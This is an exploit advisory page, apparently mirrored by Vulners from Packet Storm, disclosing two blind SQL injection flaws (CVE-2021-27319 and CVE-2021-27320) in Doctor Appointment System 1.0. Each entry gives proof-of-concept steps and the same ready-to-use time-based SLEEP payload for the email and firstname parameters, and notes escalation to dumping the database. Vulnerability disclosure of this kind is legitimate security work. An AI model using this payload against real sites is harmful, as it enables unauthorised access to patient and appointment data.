Lucene search
K

Doctor Appointment System 1.0 Blind SQL Injection

🗓️ 03 Mar 2021 00:00:00Reported by Nakul RattiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 203 Views

Doctor Appointment System 1.0 Blind SQL Injection in email and firstname parameter

Related
Code
`# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in email parameter  
# Date: 03-03-2021  
# CVE: CVE-2021-27319  
# Exploit Author: Nakul Ratti  
# Vendor Homepage:  
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Software Link:  
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Version: V1.0  
  
Vulnerable File:  
----------------  
http://host/doctorappointment/contactus.php  
<http://host/patient/search_result.php>  
  
Vulnerable Issue:  
-----------------  
email parameter has no input validation  
  
POC:  
----  
1] Navigate to http://host/doctorappointment/contactus.php  
2] In the email parameter enter following payload to exploit blind SQL  
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1  
3] This can further be escalated to dump sensitive information from the  
database  
------------------  
  
# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in firstname parameter  
# Date: 03-03-2021  
# CVE: CVE-2021-27320  
# Exploit Author: Nakul Ratti  
# Vendor Homepage:  
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Software Link:  
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html  
# Version: V1.0  
  
Vulnerable File:  
----------------  
http://host/doctorappointment/contactus.php  
<http://host/patient/search_result.php>  
  
Vulnerable Issue:  
-----------------  
firstname parameter has no input validation  
  
POC:  
----  
1] Navigate to http://host/doctorappointment/contactus.php  
2] In the firstname parameter enter following payload to exploit blind SQL  
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1  
3] This can further be escalated to dump sensitive information from the  
database  
------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation